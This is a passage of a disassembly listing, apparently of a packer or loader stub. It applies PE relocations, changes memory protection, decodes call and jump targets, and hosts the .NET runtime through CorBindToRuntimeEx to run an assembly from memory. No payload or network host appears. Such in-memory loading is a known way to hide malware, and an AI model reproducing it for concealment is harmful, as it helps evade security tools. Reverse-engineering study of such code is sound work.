jz loc_61A1AC mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_61A08B ; --------------------------------------------------------------------------- loc_61A084: ; CODE XREF: start+75Dj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_61A08B: ; CODE XREF: start+649j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_61A19B mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_619028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_61A0DB cmp [ebp+var_60], 3 jz short loc_61A0E0 jmp loc_61A161 ; --------------------------------------------------------------------------- loc_61A0DB: ; CODE XREF: start+695j jmp loc_61A18E ; --------------------------------------------------------------------------- loc_61A0E0: ; CODE XREF: start+69Bj mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:dword_619024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_619028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_619028 jb short loc_61A118 mov eax, [ebp+var_10] mov ecx, ds:dword_619028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_61A146 loc_61A118: ; CODE XREF: start+6CCj mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_61A146: ; CODE XREF: start+6DDj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_61A18E ; --------------------------------------------------------------------------- loc_61A161: ; CODE XREF: start+69Dj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA loc_61A18E: ; CODE XREF: start:loc_61A0DBj ; start+726j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_61A084 ; --------------------------------------------------------------------------- loc_61A19B: ; CODE XREF: start+663j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_61A069 ; --------------------------------------------------------------------------- loc_61A1AC: ; CODE XREF: start+60Aj start+619j ... mov eax, ds:dword_619024 cmp dword ptr [eax+30h], 0 jz short loc_61A1BC call sub_61A28D loc_61A1BC: ; CODE XREF: start+77Cj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+14h] mov [ebp+var_38], ecx loc_61A1CD: ; CODE XREF: start+58j ; start:loc_61A230j push 8000h push 0 push [ebp+var_24] call ds:VirtualFree ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:VirtualFree ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:VirtualFree ; VirtualFree mov eax, ds:dword_619024 cmp dword ptr [eax+68h], 0 jz short loc_61A210 push 0 call ds:ExitProcess ; ExitProcess loc_61A210: ; CODE XREF: start+7CDj mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:dword_619024 cmp dword ptr [eax+14h], 0 jnz short loc_61A22B pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_61A22B: ; CODE XREF: start+7EBj pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_61A232 ; --------------------------------------------------------------------------- loc_61A230: ; CODE XREF: start+1BCj jmp short loc_61A1CD start endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_61A232: ; CODE XREF: start+7F5j pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A237 proc near ; CODE XREF: sub_61A28D+25p ; DATA XREF: .ex_cod:00619004o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_61900C, 0 push esi jz short loc_61A266 mov eax, ds:dword_619024 mov esi, [eax+40h] test esi, esi jz short loc_61A288 loc_61A250: ; CODE XREF: sub_61A237+2Dj mov eax, [esi] test eax, eax jz short loc_61A288 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_61A250 ; --------------------------------------------------------------------------- loc_61A266: ; CODE XREF: sub_61A237+Bj mov eax, [ebp+arg_0] mov ds:dword_619010, 1 mov ds:dword_619014, eax mov eax, [ebp+arg_4] mov ds:dword_619018, eax mov eax, [ebp+arg_8] mov ds:dword_61901C, eax loc_61A288: ; CODE XREF: sub_61A237+17j ; sub_61A237+1Dj pop esi pop ebp retn 0Ch sub_61A237 endp ; =============== S U B R O U T I N E ======================================= sub_61A28D proc near ; CODE XREF: start+77Ep cmp ds:dword_619010, 0 mov ds:dword_61900C, 1 jz short locret_61A2B7 push ds:dword_61901C push ds:dword_619018 push ds:dword_619014 call sub_61A237 locret_61A2B7: ; CODE XREF: sub_61A28D+11j retn sub_61A28D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A2B8 proc near ; CODE XREF: start+1B5p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:LoadLibraryA xor ebx, ebx push offset aOle32_dll ; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi mov esi, ds:GetProcAddress push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi mov edi, eax push 19Bh push edi call esi push 17h push edi mov [ebp+var_20], eax call esi push 18h push edi mov [ebp+var_24], eax call esi push 8 push edi mov [ebp+var_2C], eax call esi push 10h push edi mov [ebp+var_30], eax call esi cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_61A4E6 cmp [ebp+var_38], ebx jz loc_61A4E6 cmp [ebp+var_1C], ebx jz loc_61A4E6 cmp [ebp+var_20], ebx jz loc_61A4E6 cmp [ebp+var_24], ebx jz loc_61A4E6 cmp [ebp+var_2C], ebx jz loc_61A4E6 cmp [ebp+var_30], ebx jz loc_61A4E6 cmp eax, ebx jz loc_61A4E6 push ebx call [ebp+var_18] test eax, eax jl loc_61A4E6 lea eax, [ebp+var_4] push eax push offset loc_619338 push (offset loc_619345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_61A4E6 mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_61A4E6 mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_61A4E9 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_619150 push eax call dword ptr [ecx] test eax, eax jl loc_61A4E6 push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_61A4E6 lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_61A43F mov eax, [ebp+var_8] cmp eax, ebx jz short loc_61A429 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A429: ; CODE XREF: sub_61A2B8+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_61A4CC mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_61A4CC ; --------------------------------------------------------------------------- loc_61A43F: ; CODE XREF: sub_61A2B8+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_61A4B7 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_61A4B7 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_61A4B7: ; CODE XREF: sub_61A2B8+1B9j ; sub_61A2B8+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_61A4C4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A4C4: ; CODE XREF: sub_61A2B8+204j lea ecx, [ebp+var_4] call sub_61A52C loc_61A4CC: ; CODE XREF: sub_61A2B8+176j ; sub_61A2B8+182j lea ecx, [ebp+var_C] call sub_61A52C lea ecx, [ebp+var_10] call sub_61A52C lea ecx, [ebp+var_14] call sub_61A52C jmp short loc_61A527 ; --------------------------------------------------------------------------- loc_61A4E6: ; CODE XREF: sub_61A2B8+91j ; sub_61A2B8+9Aj ... mov eax, [ebp+var_8] loc_61A4E9: ; CODE XREF: sub_61A2B8+125j cmp eax, ebx jz short loc_61A4F3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A4F3: ; CODE XREF: sub_61A2B8+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_61A500 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A500: ; CODE XREF: sub_61A2B8+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_61A50D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A50D: ; CODE XREF: sub_61A2B8+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_61A51A mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A51A: ; CODE XREF: sub_61A2B8+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_61A527 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_61A527: ; CODE XREF: sub_61A2B8+22Cj ; sub_61A2B8+267j pop edi pop esi pop ebx leave retn sub_61A2B8 endp ; =============== S U B R O U T I N E ======================================= sub_61A52C proc near ; CODE XREF: sub_61A2B8+20Fp ; sub_61A2B8+217p ... mov eax, [ecx] test eax, eax jz short locret_61A538 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_61A538: ; CODE XREF: sub_61A52C+4j retn sub_61A52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61A539 proc near ; CODE XREF: sub_619960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_61A589: ; CODE XREF: sub_61A539+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_61A59F cmp cl, 0E9h jz short loc_61A59F inc eax jmp loc_61A6A5 ; --------------------------------------------------------------------------- loc_61A59F: ; CODE XREF: sub_61A539+59j ; sub_61A539+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_61A5B9 and dword ptr [esi], 0 jmp short loc_61A5C9 ; --------------------------------------------------------------------------- loc_61A5B9: ; CODE XREF: sub_61A539+79j test ecx, ecx jbe short loc_61A5C9 loc_61A5BD: ; CODE XREF: sub_61A539+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_61A5BD loc_61A5C9: ; CODE XREF: sub_61A539+7Ej ; sub_61A539+82j mov dl, [eax+edi+4] test dl, dl jz short loc_61A5DA cmp dl, 0FFh jnz loc_61A691 loc_61A5DA: ; CODE XREF: sub_61A539+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_61A691 and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_61A691 xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_61A61B: ; CODE XREF: sub_61A539+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_61A663 mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_61A64B cmp dl, 0FFh jnz short loc_61A660 loc_61A64B: ; CODE XREF: sub_61A539+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_61A61B ; --------------------------------------------------------------------------- loc_61A660: ; CODE XREF: sub_61A539+110j mov edi, [ebp+arg_0] loc_61A663: ; CODE XREF: sub_61A539+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_61A6A5 ; --------------------------------------------------------------------------- loc_61A691: ; CODE XREF: sub_61A539+9Bj ; sub_61A539+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_61A6A0 cmp dl, 0FFh jnz short loc_61A6A5 loc_61A6A0: ; CODE XREF: sub_61A539+160j or ecx, 10h mov [esi], ecx loc_61A6A5: ; CODE XREF: sub_61A539+61j ; sub_61A539+156j ... cmp eax, [ebp+var_4] jbe loc_61A589 pop edi pop esi pop ebx leave retn sub_61A539 endp ; --------------------------------------------------------------------------- align 8 dword_61A6B8 dd 0 ; DATA XREF: start+188w start+19Cr ... dword_61A6BC dd 0 ; DATA XREF: start+15Fw start+165r ... dword_61A6C0 dd 219200h ; DATA XREF: start+175w start+21Dw ... dd 2 dup(0) dd 219304h, 219234h, 219228h, 2 dup(0) dd 21932Ch, 21925Ch, 3 dup(0) dd 21A724h, 21A73Dh, 3 dup(0) dd 21A730h, 21A745h, 5 dup(0) dd 434F5357h, 2E32334Bh, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh db 0 ; ; Imports from WSOCK32.dll ; ; int __stdcall WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData) WSAStartup dd ? dd 0 ; ; Imports from ADVAPI32.dll ; ; LSTATUS __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData) RegSetValueExA dd ? dd 0 db 0F9h, 1, 52h aEgsetvalueexa db 'egSetValueExA',0 db '¼',0 dd 30000000h, 425D0021h, 2000000h, 40000000h, 2EE00021h dd 9A390000h, 21h, 10F0040h, 85700000h, 0 dd 10000h, 0Dh dup(0) dd 10000h, 0 dd 0A0000000h, 30000h, 10000h, 2000000h, 70000000h, 10000000h dd 68C60000h, 200000h, 16000h, 2000000h, 10000000h, 80000000h dd 0AA20000h, 400000h, 14000h, 2000000h, 10000000h, 90000000h dd 0ABB80000h, 400020h db 0, 0C0h dw ? db 2 dup(?) _ex_cod ends end start